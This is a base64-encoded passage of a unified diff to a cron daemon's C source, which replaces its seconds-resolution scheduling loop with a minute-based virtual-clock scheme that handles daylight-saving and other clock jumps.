MTQwLDE4MCBAQAogCX0KIAogCWlmIChtYWR2aXNlKE5VTEwsIDAsIE1BRFZfUFJPVEVDVCkgIT0g MCkKLQkJbG9nX2l0KCJDUk9OIiwgZ2V0cGlkKCksICJXQVJOSU5HIiwgIm1hZHZpc2UoKSBmYWls ZWQiKTsKKwkJbG9nX2l0KCJDUk9OIiwgZ2V0cGlkKCksICJXQVJOSU5HIiwgIm1hZHZpc2UoKSBm aWxlZCIpOwogCiAJcGlkZmlsZV93cml0ZShwZmgpOwogCWRhdGFiYXNlLmhlYWQgPSBOVUxMOwog CWRhdGFiYXNlLnRhaWwgPSBOVUxMOwogCWRhdGFiYXNlLm10aW1lID0gKHRpbWVfdCkgMDsKIAls b2FkX2RhdGFiYXNlKCZkYXRhYmFzZSk7Ci0Jc2VjcmVzMSA9IHNlY3JlczIgPSBydW5fYXRfc2Vj cmVzKCZkYXRhYmFzZSk7CisJc2V0X3RpbWUoVFJVRSk7CiAJcnVuX3JlYm9vdF9qb2JzKCZkYXRh YmFzZSk7Ci0JY3Jvbl9zeW5jKHNlY3JlczEpOwotCXJ1bm51bSA9IDA7CisJdGltZVJ1bm5pbmcg PSB2aXJ0dWFsVGltZSA9IGNsb2NrVGltZTsKKworCS8qCisJICogVG9vIG1hbnkgY2xvY2tzLCBu b3QgZW5vdWdoIHRpbWUgKEFsLiBFaW5zdGVpbikKKwkgKiBUaGVzZSBjbG9ja3MgYXJlIGluIG1p bnV0ZXMgc2luY2UgdGhlIGVwb2NoLCBhZGp1c3RlZCBmb3IgdGltZXpvbmUuCisJICogdmlydHVh bFRpbWU6IGlzIHRoZSB0aW1lIGl0ICp3b3VsZCogYmUgaWYgd2Ugd29rZSB1cAorCSAqIHByb21w dGx5IGFuZCBub2JvZHkgZXZlciBjaGFuZ2VkIHRoZSBjbG9jay4gSXQgaXMKKwkgKiBtb25vdG9u aWNhbGx5IGluY3JlYXNpbmcuLi4gdW5sZXNzIGEgdGltZWp1bXAgaGFwcGVucy4KKwkgKiBBdCB0 aGUgdG9wIG9mIHRoZSBsb29wLCBhbGwgam9icyBmb3IgJ3ZpcnR1YWxUaW1lJyBoYXZlIHJ1bi4K KwkgKiB0aW1lUnVubmluZzogaXMgdGhlIHRpbWUgd2UgbGFzdCBhd2FrZW5lZC4KKwkgKiBjbG9j a1RpbWU6IGlzIHRoZSB0aW1lIHdoZW4gc2V0X3RpbWUgd2FzIGxhc3QgY2FsbGVkLgorCSAqLwog CXdoaWxlIChUUlVFKSB7Ci0jIGlmIERFQlVHR0lORwotCSAgICAvKiBpZiAoIShEZWJ1Z0ZsYWdz ICYgRFRFU1QpKSAqLwotIyBlbmRpZiAvKkRFQlVHR0lORyovCi0JCQljcm9uX3NsZWVwKCZkYXRh YmFzZSwgc2VjcmVzMSk7Ci0KLQkJaWYgKHNlY3JlczEgPT0gMCB8fCBydW5udW0gJSA2MCA9PSAw KSB7Ci0JCQlsb2FkX2RhdGFiYXNlKCZkYXRhYmFzZSk7Ci0JCQlzZWNyZXMyID0gcnVuX2F0X3Nl Y3JlcygmZGF0YWJhc2UpOwotCQkJaWYgKHNlY3JlczIgIT0gc2VjcmVzMSkgewotCQkJCXNlY3Jl czEgPSBzZWNyZXMyOwotCQkJCWlmIChzZWNyZXMxICE9IDApIHsKLQkJCQkJcnVubnVtID0gMDsK LQkJCQl9IGVsc2UgewotCQkJCQkvKgotCQkJCQkgKiBHb2luZyBmcm9tIDEgc2VjIHRvIDYwIHNl YyByZXMuIElmIHdlCi0JCQkJCSAqIGFyZSBhbHJlYWR5IGF0IG1pbnV0ZSdzIGJvdW5kYXJ5LCBz bwotCQkJCQkgKiBsZXQgaXQgcnVuLCBvdGhlcndpc2Ugc2NoZWR1bGUgZm9yIHRoZQotCQkJCQkg KiBuZXh0IG1pbnV0ZS4KLQkJCQkJICovCi0JCQkJCXRtID0gbG9jYWx0aW1lKCZUYXJnZXRUaW1l KTsKLQkJCQkJaWYgKHRtLT50bV9zZWMgPiAwKSAgewotCQkJCQkJY3Jvbl9zeW5jKHNlY3JlczIp OwotCQkJCQkJY29udGludWU7Ci0JCQkJCX0KLQkJCQl9CisJCWludCB0aW1lRGlmZjsKKwkJZW51 bSB0aW1lanVtcCB3YWtldXBLaW5kOworCisJCS8qIC4uLiB3YWl0IGZvciB0aGUgdGltZSAoaW4g bWludXRlcykgdG8gY2hhbmdlIC4uLiAqLworCQlkbyB7CisJCQljcm9uX3NsZWVwKHRpbWVSdW5u aW5nICsgMSk7CisJCQlzZXRfdGltZShGQUxTRSk7CisJCX0gd2hpbGUgKGNsb2NrVGltZSA9PSB0 aW1lUnVubmluZyk7CisJCXRpbWVSdW5uaW5nID0gY2xvY2tUaW1lOworCisJCS8qCisJCSAqIENh bGN1bGF0ZSBob3cgdGhlIGN1cnJlbnQgdGltZSBkaWZmZXJzIGZyb20gb3VyIHZpcnR1YWwKKwkJ ICogY2xvY2suICBDbGFzc2lmeSB0aGUgY2hhbmdlIGludG8gb25lIG9mIDQgY2FzZXMuCisJCSAq LworCQl0aW1lRGlmZiA9IHRpbWVSdW5uaW5nIC0gdmlydHVhbFRpbWU7CisKKwkJLyogc2hvcnRj dXQgZm9yIHRoZSBtb3N0IGNvbW1vbiBjYXNlICovCisJCWlmICh0aW1lRGlmZiA9PSAxKSB7CisJ CQl2aXJ0dWFsVGltZSA9IHRpbWVSdW5uaW5nOworCQkJZmluZF9qb2JzKHZpcnR1YWxUaW1lLCAm ZGF0YWJhc2UsIFRSVUUsIFRSVUUpOworCQl9IGVsc2UgeworCQkJaWYgKHRpbWVEaWZmID4gKDMq TUlOVVRFX0NPVU5UKSB8fAorCQkJICAgIHRpbWVEaWZmIDwgLSgzKk1JTlVURV9DT1VOVCkpCisJ CQkJd2FrZXVwS2luZCA9IGxhcmdlOworCQkJZWxzZSBpZiAodGltZURpZmYgPiA1KQorCQkJCXdh a2V1cEtpbmQgPSBtZWRpdW07CisJCQllbHNlIGlmICh0aW1lRGlmZiA+IDApCisJCQkJd2FrZXVw S2luZCA9IHNtYWxsOworCQkJZWxzZQorCQkJCXdha2V1cEtpbmQgPSBuZWdhdGl2ZTsKKworCQkJ c3dpdGNoICh3YWtldXBLaW5kKSB7CisJCQljYXNlIHNtYWxsOgorCQkJCS8qCisJCQkJICogY2Fz ZSAxOiB0aW1lRGlmZiBpcyBhIHNtYWxsIHBvc2l0aXZlIG51bWJlcgorCQkJCSAqICh3b2tldXAg bGF0ZSkgcnVuIGpvYnMgZm9yIGVhY2ggdmlydHVhbAorCQkJCSAqIG1pbnV0ZSB1bnRpbCBjYXVn aHQgdXAuCisJCQkJICovCisJCQkJRGVidWcoRFNDSCwgKCJbJWxkXSwgbm9ybWFsIGNhc2UgJWQg bWludXRlcyB0byBnb1xuIiwKKwkJCQkgICAgKGxvbmcpZ2V0cGlkKCksIHRpbWVEaWZmKSkKKwkJ CQlkbyB7CisJCQkJCWlmIChqb2JfcnVucXVldWUoKSkKKwkJCQkJCXNsZWVwKDEwKTsKKwkJCQkJ dmlydHVhbFRpbWUrKzsKKwkJCQkJZmluZF9qb2JzKHZpcnR1YWxUaW1lLCAmZGF0YWJhc2UsCisJ CQkJCSAgICBUUlVFLCBUUlVFKTsKKwkJCQl9IHdoaWxlICh2aXJ0dWFsVGltZSA8IHRpbWVSdW5u aW5nKTsKKwkJCQlicmVhazsKKworCQkJY2FzZSBtZWRpdW06CisJCQkJLyoKKwkJCQkgKiBjYXNl IDI6IHRpbWVEaWZmIGlzIGEgbWVkaXVtLXNpemVkIHBvc2l0aXZlCisJCQkJICogbnVtYmVyLCBm b3IgZXhhbXBsZSBiZWNhdXNlIHdlIHdlbnQgdG8gRFNUCisJCQkJICogcnVuIHdpbGRjYXJkIGpv YnMgb25jZSwgdGhlbiBydW4gYW55CisJCQkJICogZml4ZWQtdGltZSBqb2JzIHRoYXQgd291bGQg b3RoZXJ3aXNlIGJlCisJCQkJICogc2tpcHBlZCBpZiB3ZSB1c2UgdXAgb3VyIG1pbnV0ZSAocG9z c2libGUsCisJCQkJICogaWYgdGhlcmUgYXJlIGEgbG90IG9mIGpvYnMgdG8gcnVuKSBnbworCQkJ CSAqIGFyb3VuZCB0aGUgbG9vcCBhZ2FpbiBzbyB0aGF0IHdpbGRjYXJkIGpvYnMKKwkJCQkgKiBo YXZlIGEgY2hhbmNlIHRvIHJ1biwgYW5kIHdlIGRvIG91cgorCQkJCSAqIGhvdXNla2VlcGluZy4K KwkJCQkgKi8KKwkJCQlEZWJ1ZyhEU0NILCAoIlslbGRdLCBEU1QgYmVnaW5zICVkIG1pbnV0ZXMg dG8gZ29cbiIsCisJCQkJICAgIChsb25nKWdldHBpZCgpLCB0aW1lRGlmZikpCisJCQkJLyogcnVu IHdpbGRjYXJkIGpvYnMgZm9yIGN1cnJlbnQgbWludXRlICovCisJCQkJZmluZF9qb2JzKHRpbWVS dW5uaW5nLCAmZGF0YWJhc2UsIFRSVUUsIEZBTFNFKTsKKwkKKwkJCQkvKiBydW4gZml4ZWQtdGlt ZSBqb2JzIGZvciBlYWNoIG1pbnV0ZSBtaXNzZWQgKi8KKwkJCQlkbyB7CisJCQkJCWlmIChqb2Jf cnVucXVldWUoKSkKKwkJCQkJCXNsZWVwKDEwKTsKKwkJCQkJdmlydHVhbFRpbWUrKzsKKwkJCQkJ ZmluZF9qb2JzKHZpcnR1YWxUaW1lLCAmZGF0YWJhc2UsCisJCQkJCSAgICBGQUxTRSwgVFJVRSk7 CisJCQkJCXNldF90aW1lKEZBTFNFKTsKKwkJCQl9IHdoaWxlICh2aXJ0dWFsVGltZTwgdGltZVJ1 bm5pbmcgJiYKKwkJCQkgICAgY2xvY2tUaW1lID09IHRpbWVSdW5uaW5nKTsKKwkJCQlicmVhazsK KwkKKwkJCWNhc2UgbmVnYXRpdmU6CisJCQkJLyoKKwkJCQkgKiBjYXNlIDM6IHRpbWVEaWZmIGlz IGEgc21hbGwgb3IgbWVkaXVtLXNpemVkCisJCQkJICogbmVnYXRpdmUgbnVtLCBlZy4gYmVjYXVz ZSBvZiBEU1QgZW5kaW5nLgorCQkJCSAqIEp1c3QgcnVuIHRoZSB3aWxkY2FyZCBqb2JzLiBUaGUg Zml4ZWQtdGltZQorCQkJCSAqIGpvYnMgcHJvYmFibHkgaGF2ZSBhbHJlYWR5IHJ1biwgYW5kIHNo b3VsZAorCQkJCSAqIG5vdCBiZSByZXBlYXRlZC4gIFZpcnR1YWwgdGltZSBkb2VzIG5vdAorCQkJ CSAqIGNoYW5nZSB1bnRpbCB3ZSBhcmUgY2F1Z2h0IHVwLgorCQkJCSAqLworCQkJCURlYnVnKERT Q0gsICgiWyVsZF0sIERTVCBlbmRzICVkIG1pbnV0ZXMgdG8gZ29cbiIsCisJCQkJICAgIChsb25n KWdldHBpZCgpLCB0aW1lRGlmZikpCisJCQkJZmluZF9qb2JzKHRpbWVSdW5uaW5nLCAmZGF0YWJh c2UsIFRSVUUsIEZBTFNFKTsKKwkJCQlicmVhazsKKwkJCWRlZmF1bHQ6CisJCQkJLyoKKwkJCQkg KiBvdGhlcjogdGltZSBoYXMgY2hhbmdlZCBhICpsb3QqLAorCQkJCSAqIGp1bXAgdmlydHVhbCB0 aW1lLCBhbmQgcnVuIGV2ZXJ5dGhpbmcKKwkJCQkgKi8KKwkJCQlEZWJ1ZyhEU0NILCAoIlslbGRd LCBjbG9jayBqdW1wZWRcbiIsCisJCQkJICAgIChsb25nKWdldHBpZCgpKSkKKwkJCQl2aXJ0dWFs VGltZSA9IHRpbWVSdW5uaW5nOworCQkJCWZpbmRfam9icyh0aW1lUnVubmluZywgJmRhdGFiYXNl LCBUUlVFLCBUUlVFKTsKIAkJCX0KIAkJfQogCi0JCS8qIGRvIHRoaXMgaXRlcmF0aW9uCi0JCSAq LwotCQljcm9uX3RpY2soJmRhdGFiYXNlLCBzZWNyZXMxKTsKKwkJLyogSm9icyB0byBiZSBydW4g KGlmIGFueSkgYXJlIGxvYWRlZDsgY2xlYXIgdGhlIHF1ZXVlLiAqLworCQlqb2JfcnVucXVldWUo KTsKIAotCQkvKiBzbGVlcCAxIG9yIDYwIHNlY29uZHMKLQkJICovCi0JCVRhcmdldFRpbWUgKz0g KHNlY3JlczEgIT0gMCkgPyAxIDogNjA7Ci0JCXJ1bm51bSArPSAxOworCQkvKiBDaGVjayB0byBz ZWUgaWYgd2UgcmVjZWl2ZWQgYSBzaWduYWwgd2hpbGUgcnVubmluZyBqb2JzLiAqLworCQlpZiAo Z290X3NpZ2h1cCkgeworCQkJZ290X3NpZ2h1cCA9IDA7CisJCQlsb2dfY2xvc2UoKTsKKwkJfQor CQlpZiAoZ290X3NpZ2NobGQpIHsKKwkJCWdvdF9zaWdjaGxkID0gMDsKKwkJCXNpZ2NobGRfcmVh cGVyKCk7CisJCX0KKwkJbG9hZF9kYXRhYmFzZSgmZGF0YWJhc2UpOwogCX0KIH0KIAotCiBzdGF0 aWMgdm9pZAotcnVuX3JlYm9vdF9qb2JzKGRiKQotCWNyb25fZGIgKmRiOwotewotCXJlZ2lzdGVy IHVzZXIJCSp1OwotCXJlZ2lzdGVyIGVudHJ5CQkqZTsKK3J1bl9yZWJvb3Rfam9icyhjcm9uX2Ri ICpkYikgeworCXVzZXIgKnU7CisJZW50cnkgKmU7CiAKLQlmb3IgKHUgPSBkYi0+aGVhZDsgIHUg IT0gTlVMTDsgIHUgPSB1LT5uZXh0KSB7Ci0JCWZvciAoZSA9IHUtPmNyb250YWI7ICBlICE9IE5V TEw7ICBlID0gZS0+bmV4dCkgewotCQkJaWYgKGUtPmZsYWdzICYgV0hFTl9SRUJPT1QpIHsKKwlm b3IgKHUgPSBkYi0+aGVhZDsgdSAhPSBOVUxMOyB1ID0gdS0+bmV4dCkgeworCQlmb3IgKGUgPSB1 LT5jcm9udGFiOyBlICE9IE5VTEw7IGUgPSBlLT5uZXh0KSB7CisJCQlpZiAoZS0+ZmxhZ3MgJiBX SEVOX1JFQk9PVCkKIAkJCQlqb2JfYWRkKGUsIHUpOwotCQkJfQogCQl9CiAJfQogCSh2b2lkKSBq b2JfcnVucXVldWUoKTsKIH0KIAotCiBzdGF0aWMgdm9pZAotY3Jvbl90aWNrKGNyb25fZGIgKmRi LCBpbnQgc2VjcmVzKQotewotCXN0YXRpYyBzdHJ1Y3QgdG0JbGFzdHRtOwotCXN0YXRpYyB0aW1l X3QJZGlmZiA9IDAsIC8qIHRpbWUgZGlmZmVyZW5jZSBpbiBzZWNvbmRzIGZyb20gdGhlIGxhc3Qg b2Zmc2V0IGNoYW5nZSAqLwotCQlkaWZmbGltaXQgPSAwOyAvKiBlbmQgcG9pbnQgZm9yIHRoZSB0 aW1lIHpvbmUgY29ycmVjdGlvbiAqLwotCXN0cnVjdCB0bQlvdHp0bTsgLyogdGltZSBpbiB0aGUg b2xkIHRpbWUgem9uZSAqLwotCWludAkJb3R6c2Vjb25kLCBvdHptaW51dGUsIG90emhvdXIsIG90 emRvbSwgb3R6bW9udGgsIG90emRvdzsKLSAJcmVnaXN0ZXIgc3RydWN0IHRtCSp0bSA9IGxvY2Fs dGltZSgmVGFyZ2V0VGltZSk7Ci0JcmVnaXN0ZXIgaW50CQlzZWNvbmQsIG1pbnV0ZSwgaG91ciwg ZG9tLCBtb250aCwgZG93OwotCXJlZ2lzdGVyIHVzZXIJCSp1OwotCXJlZ2lzdGVyIGVudHJ5CQkq ZTsKK2ZpbmRfam9icyhpbnQgdnRpbWUsIGNyb25fZGIgKmRiLCBpbnQgZG9XaWxkLCBpbnQgZG9O b25XaWxkKSB7CisJdGltZV90IHZpcnR1YWxTZWNvbmQgID0gdnRpbWUgKiBTRUNPTkRTX1BFUl9N SU5VVEU7CisJc3RydWN0IHRtICp0bSA9IGdtdGltZSgmdmlydHVhbFNlY29uZCk7CisJaW50IG1p bnV0ZSwgaG91ciwgZG9tLCBtb250aCwgZG93OworCXVzZXIgKnU7CisJZW50cnkgKmU7CiAKIAkv KiBtYWtlIDAtYmFzZWQgdmFsdWVzIG91dCBvZiB0aGVzZSBzbyB3ZSBjYW4gdXNlIHRoZW0gYXMg aW5kaWNpZXMKIAkgKi8KLQlzZWNvbmQgPSAoc2VjcmVzID09IDApID8gMCA6IHRtLT50bV9zZWMg LUZJUlNUX1NFQ09ORDsKIAltaW51dGUgPSB0bS0+dG1fbWluIC1GSVJTVF9NSU5VVEU7CiAJaG91 ciA9IHRtLT50bV9ob3VyIC1GSVJTVF9IT1VSOwogCWRvbSA9IHRtLT50bV9tZGF5IC1GSVJTVF9E T007CiAJbW9udGggPSB0bS0+dG1fbW9uICsxIC8qIDAuLjExIC0+IDEuLjEyICovIC1GSVJTVF9N T05USDsKIAlkb3cgPSB0bS0+dG1fd2RheSAtRklSU1RfRE9XOwogCi0JRGVidWcoRFNDSCwgKCJb JWRdIHRpY2soJWQsJWQsJWQsJWQsJWQsJWQpXG4iLAotCQlnZXRwaWQoKSwgc2Vjb25kLCBtaW51 dGUsIGhvdXIsIGRvbSwgbW9udGgsIGRvdykpCi0KLQlpZiAoZHN0X2VuYWJsZWQgJiYgbGFzdF90 aW1lICE9IDAgCi0JJiYgVGFyZ2V0VGltZSA+IGxhc3RfdGltZSAvKiBleGNsdWRlIHN0ZXBwaW5n IGJhY2sgKi8KLQkmJiB0bS0+dG1fZ210b2ZmICE9IGxhc3R0bS50bV9nbXRvZmYgKSB7Ci0KLQkJ ZGlmZiA9IHRtLT50bV9nbXRvZmYgLSBsYXN0dG0udG1fZ210b2ZmOwotCi0JCWlmICggZGlmZiA+ IDAgKSB7IC8qIFNULT5EU1QgKi8KLQkJCS8qIG1hcmsgam9icyBmb3IgYW4gZWFybGllciBydW4g Ki8KLQkJCWRpZmZsaW1pdCA9IFRhcmdldFRpbWUgKyBkaWZmOwotCQkJZm9yICh1ID0gZGItPmhl YWQ7ICB1ICE9IE5VTEw7ICB1ID0gdS0+bmV4dCkgewotCQkJCWZvciAoZSA9IHUtPmNyb250YWI7 ICBlICE9IE5VTEw7ICBlID0gZS0+bmV4dCkgewotCQkJCQllLT5mbGFncyAmPSB+Tk9UX1VOVElM OwotCQkJCQlpZiAoIGUtPmxhc3RydW4gPj0gVGFyZ2V0VGltZSApCi0JCQkJCQllLT5sYXN0cnVu ID0gMDsKLQkJCQkJLyogbm90IGluY2x1ZGUgdGhlIGVuZHMgb2YgaG91cmx5IHJhbmdlcyAqLwot CQkJCQlpZiAoIGUtPmxhc3RydW4gPCBUYXJnZXRUaW1lIC0gMzYwMCApCi0JCQkJCQllLT5mbGFn cyB8PSBSVU5fQVQ7Ci0JCQkJCWVsc2UKLQkJCQkJCWUtPmZsYWdzICY9IH5SVU5fQVQ7Ci0JCQkJ fQotCQkJfQotCQl9IGVsc2UgeyAvKiBkaWZmIDwgMCA6IERTVC0+U1QgKi8KLQkJCS8qIG1hcmsg am9icyBmb3Igc2tpcHBpbmcgKi8KLQkJCWRpZmZsaW1pdCA9IFRhcmdldFRpbWUgLSBkaWZmOwot CQkJZm9yICh1ID0gZGItPmhlYWQ7ICB1ICE9IE5VTEw7ICB1ID0gdS0+bmV4dCkgewotCQkJCWZv ciAoZSA9IHUtPmNyb250YWI7ICBlICE9IE5VTEw7ICBlID0gZS0+bmV4dCkgewotCQkJCQllLT5m bGFncyB8PSBOT1RfVU5USUw7Ci0JCQkJCWUtPmZsYWdzICY9IH5SVU5fQVQ7Ci0JCQkJfQotCQkJ fQotCQl9Ci0JfQotCi0JaWYgKGRpZmYgIT0gMCkgewotCQkvKiBpZiB0aGUgdGltZSB3YXMgcmVz ZXQgb2YgdGhlIGVuZCBvZiBzcGVjaWFsIHpvbmUgaXMgcmVhY2hlZCAqLwotCQlpZiAobGFzdF90 aW1lID09IDAgfHwgVGFyZ2V0VGltZSA+PSBkaWZmbGltaXQpIHsKLQkJCS8qIGRpc2FibGUgdGhl IFRaIHN3aXRjaCBjaGVja3MgKi8KLQkJCWRpZmYgPSAwOwotCQkJZGlmZmxpbWl0ID0gMDsKLQkJ CWZvciAodSA9IGRiLT5oZWFkOyAgdSAhPSBOVUxMOyAgdSA9IHUtPm5leHQpIHsKLQkJCQlmb3Ig KGUgPSB1LT5jcm9udGFiOyAgZSAhPSBOVUxMOyAgZSA9IGUtPm5leHQpIHsKLQkJCQkJZS0+Zmxh Z3MgJj0gfihSVU5fQVR8Tk9UX1VOVElMKTsKLQkJCQl9Ci0JCQl9Ci0JCX0gZWxzZSB7Ci0JCQkv KiBnZXQgdGhlIHRpbWUgaW4gdGhlIG9sZCB0aW1lIHpvbmUgKi8KLQkJCXRpbWVfdCBkaWZmdGlt ZSA9IFRhcmdldFRpbWUgKyB0bS0+dG1fZ210b2ZmIC0gZGlmZjsKLQkJCWdtdGltZV9yKCZkaWZm dGltZSwgJm90enRtKTsKLQotCQkJLyogbWFrZSAwLWJhc2VkIHZhbHVlcyBvdXQgb2YgdGhlc2Ug c28gd2UgY2FuIHVzZSB0aGVtIGFzIGluZGljaWVzCi0JCQkgKi8KLQkJCW90enNlY29uZCA9IChz ZWNyZXMgPT0gMCkgPyAwIDogb3R6dG0udG1fc2VjIC1GSVJTVF9TRUNPTkQ7Ci0JCQlvdHptaW51 dGUgPSBvdHp0bS50bV9taW4gLUZJUlNUX01JTlVURTsKLQkJCW90emhvdXIgPSBvdHp0bS50bV9o b3VyIC1GSVJTVF9IT1VSOwotCQkJb3R6ZG9tID0gb3R6dG0udG1fbWRheSAtRklSU1RfRE9NOwot CQkJb3R6bW9udGggPSBvdHp0bS50bV9tb24gKzEgLyogMC4uMTEgLT4gMS4uMTIgKi8gLUZJUlNU X01PTlRIOwotCQkJb3R6ZG93ID0gb3R6dG0udG1fd2RheSAtRklSU1RfRE9XOwotCQl9Ci0JfQor CURlYnVnKERTQ0gsICgiWyVsZF0gdGljayglZCwlZCwlZCwlZCwlZCkgJXMgJXNcbiIsCisJCSAg ICAgKGxvbmcpZ2V0cGlkKCksIG1pbnV0ZSwgaG91ciwgZG9tLCBtb250aCwgZG93LAorCQkgICAg IGRvV2lsZD8iICI6Ik5vIHdpbGRjYXJkIixkb05vbldpbGQ/IiAiOiJXaWxkY2FyZCBvbmx5Iikp CiAKIAkvKiB0aGUgZG9tL2RvdyBzaXR1YXRpb24gaXMgb2RkLiAgJyogKiAxLDE1ICogU3VuJyB3 aWxsIHJ1biBvbiB0aGUKIAkgKiBmaXJzdCBhbmQgZmlmdGVlbnRoIEFORCBldmVyeSBTdW5kYXk7 ICAnKiAqICogKiBTdW4nIHdpbGwgcnVuICpvbmx5KgpAQCAtMzA2LDI2OSArMzIxLDE5NSBAQAog CSAqIGlzIHdoeSB3ZSBrZWVwICdlLT5kb3dfc3RhcicgYW5kICdlLT5kb21fc3RhcicuICB5ZXMs IGl0J3MgYml6YXJyZS4KIAkgKiBsaWtlIG1hbnkgYml6YXJyZSB0aGluZ3MsIGl0J3MgdGhlIHN0 YW5kYXJkLgogCSAqLwotCWZvciAodSA9IGRiLT5oZWFkOyAgdSAhPSBOVUxMOyAgdSA9IHUtPm5l eHQpIHsKLQkJZm9yIChlID0gdS0+Y3JvbnRhYjsgIGUgIT0gTlVMTDsgIGUgPSBlLT5uZXh0KSB7 CisJZm9yICh1ID0gZGItPmhlYWQ7IHUgIT0gTlVMTDsgdSA9IHUtPm5leHQpIHsKKwkJZm9yIChl ID0gdS0+Y3JvbnRhYjsgZSAhPSBOVUxMOyBlID0gZS0+bmV4dCkgewogCQkJRGVidWcoRFNDSHxE RVhULCAoInVzZXIgWyVzOiVkOiVkOi4uLl0gY21kPVwiJXNcIlxuIiwKLQkJCQkJICBlbnZfZ2V0 KCJMT0dOQU1FIiwgZS0+ZW52cCksCi0JCQkJCSAgZS0+dWlkLCBlLT5naWQsIGUtPmNtZCkpCi0K LQkJCWlmICggZGlmZiAhPSAwICYmIChlLT5mbGFncyAmIChSVU5fQVR8Tk9UX1VOVElMKSkgKSB7 Ci0JCQkJaWYgKGJpdF90ZXN0KGUtPnNlY29uZCwgb3R6c2Vjb25kKQotCQkJCSAmJiBiaXRfdGVz dChlLT5taW51dGUsIG90em1pbnV0ZSkKLQkJCQkgJiYgYml0X3Rlc3QoZS0+aG91ciwgb3R6aG91 cikKLQkJCQkgJiYgYml0X3Rlc3QoZS0+bW9udGgsIG90em1vbnRoKQotCQkJCSAmJiAoICgoZS0+ ZmxhZ3MgJiBET01fU1RBUikgfHwgKGUtPmZsYWdzICYgRE9XX1NUQVIpKQotCQkJCQkgID8gKGJp dF90ZXN0KGUtPmRvdyxvdHpkb3cpICYmIGJpdF90ZXN0KGUtPmRvbSxvdHpkb20pKQotCQkJCQkg IDogKGJpdF90ZXN0KGUtPmRvdyxvdHpkb3cpIHx8IGJpdF90ZXN0KGUtPmRvbSxvdHpkb20pKQot CQkJCQkpCi0JCQkJICAgKSB7Ci0JCQkJCWlmICggZS0+ZmxhZ3MgJiBSVU5fQVQgKSB7Ci0JCQkJ CQllLT5mbGFncyAmPSB+UlVOX0FUOwotCQkJCQkJZS0+bGFzdHJ1biA9IFRhcmdldFRpbWU7Ci0J CQkJCQlqb2JfYWRkKGUsIHUpOwotCQkJCQkJY29udGludWU7Ci0JCQkJCX0gZWxzZSAKLQkJCQkJ CWUtPmZsYWdzICY9IH5OT1RfVU5USUw7Ci0JCQkJfSBlbHNlIGlmICggZS0+ZmxhZ3MgJiBOT1Rf VU5USUwgKQotCQkJCQljb250aW51ZTsKLQkJCX0KLQotCQkJaWYgKGJpdF90ZXN0KGUtPnNlY29u ZCwgc2Vjb25kKQotCQkJICYmIGJpdF90ZXN0KGUtPm1pbnV0ZSwgbWludXRlKQotCQkJICYmIGJp dF90ZXN0KGUtPmhvdXIsIGhvdXIpCi0JCQkgJiYgYml0X3Rlc3QoZS0+bW9udGgsIG1vbnRoKQot CQkJICYmICggKChlLT5mbGFncyAmIERPTV9TVEFSKSB8fCAoZS0+ZmxhZ3MgJiBET1dfU1RBUikp CisJCQkgICAgZW52X2dldCgiTE9HTkFNRSIsIGUtPmVudnApLCAKKwkJCSAgICBlLT51aWQsIGUt PmdpZCwgZS0+Y21kKSkKKwkJCWlmIChiaXRfdGVzdChlLT5taW51dGUsIG1pbnV0ZSkgJiYKKwkJ CSAgICBiaXRfdGVzdChlLT5ob3VyLCBob3VyKSAmJgorCQkJICAgIGJpdF90ZXN0KGUtPm1vbnRo LCBtb250aCkgJiYKKwkJCSAgICAoICgoZS0+ZmxhZ3MgJiBET01fU1RBUikgfHwgKGUtPmZsYWdz ICYgRE9XX1NUQVIpKQogCQkJICAgICAgPyAoYml0X3Rlc3QoZS0+ZG93LGRvdykgJiYgYml0X3Rl c3QoZS0+ZG9tLGRvbSkpCiAJCQkgICAgICA6IChiaXRfdGVzdChlLT5kb3csZG93KSB8fCBiaXRf dGVzdChlLT5kb20sZG9tKSkKIAkJCSAgICApCiAJCQkgICApIHsKLQkJCQllLT5mbGFncyAmPSB+ UlVOX0FUOwotCQkJCWUtPmxhc3RydW4gPSBUYXJnZXRUaW1lOwotCQkJCWpvYl9hZGQoZSwgdSk7 CisJCQkJaWYgKChkb05vbldpbGQgJiYKKwkJCQkgICAgIShlLT5mbGFncyAmIChNSU5fU1RBUnxI Ul9TVEFSKSkpIHx8IAorCQkJCSAgICAoZG9XaWxkICYmIChlLT5mbGFncyAmIChNSU5fU1RBUnxI Ul9TVEFSKSkpKQorCQkJCQlqb2JfYWRkKGUsIHUpOwogCQkJfQogCQl9CiAJfQotCi0JbGFzdF90 aW1lID0gVGFyZ2V0VGltZTsKLQlsYXN0dG0gPSAqdG07CiB9CiAKLQotLyogdGhlIHRhc2sgaGVy ZSBpcyB0byBmaWd1cmUgb3V0IGhvdyBsb25nIGl0J3MgZ29pbmcgdG8gYmUgdW50aWwgOjAwIG9m IHRoZQotICogZm9sbG93aW5nIG1pbnV0ZSBhbmQgaW5pdGlhbGl6ZSBUYXJnZXRUaW1lIHRvIHRo aXMgdmFsdWUuICBUYXJnZXRUaW1lCi0gKiB3aWxsIHN1YnNlcXVlbnRseSBzbGlkZSA2MCBzZWNv bmRzIGF0IGEgdGltZSwgd2l0aCBjb3JyZWN0aW9uIGFwcGxpZWQKLSAqIGltcGxpY2l0bHkgaW4g Y3Jvbl9zbGVlcCgpLiAgaXQgd291bGQgYmUgbmljZSB0byBsZXQgY3JvbiBleGVjdXRlIGluCi0g KiB0aGUgImN1cnJlbnQgbWludXRlIiBiZWZvcmUgZ29pbmcgdG8gc2xlZXAsIGJ1dCBieSByZXN0 YXJ0aW5nIGNyb24geW91Ci0gKiBjb3VsZCB0aGVuIGdldCBpdCB0byBleGVjdXRlIGEgZ2l2ZW4g bWludXRlJ3Mgam9icyBtb3JlIHRoYW4gb25jZS4KLSAqIGluc3RlYWQgd2UgaGF2ZSB0aGUgY2hh bmNlIG9mIG1pc3NpbmcgYSBtaW51dGUncyBqb2JzIGNvbXBsZXRlbHksIGJ1dAotICogdGhhdCdz IHNvbWV0aGluZyBzeXNhZG1pbidzIGtub3cgdG8gZXhwZWN0IHdoYXQgd2l0aCBjcmFzaGluZyBj b21wdXRlcnMuLgorLyoKKyAqIFNldCBTdGFydFRpbWUgYW5kIGNsb2NrVGltZSB0byB0aGUgY3Vy cmVudCB0aW1lLgorICogVGhlc2UgYXJlIHVzZWQgZm9yIGNvbXB1dGluZyB3aGF0IHRpbWUgaXQg cmVhbGx5IGlzIHJpZ2h0IG5vdy4KKyAqIE5vdGUgdGhhdCBjbG9ja1RpbWUgaXMgYSB1bml4IHdh bGxjbG9jayB0aW1lIGNvbnZlcnRlZCB0byBtaW51dGVzLgogICovCiBzdGF0aWMgdm9pZAotY3Jv 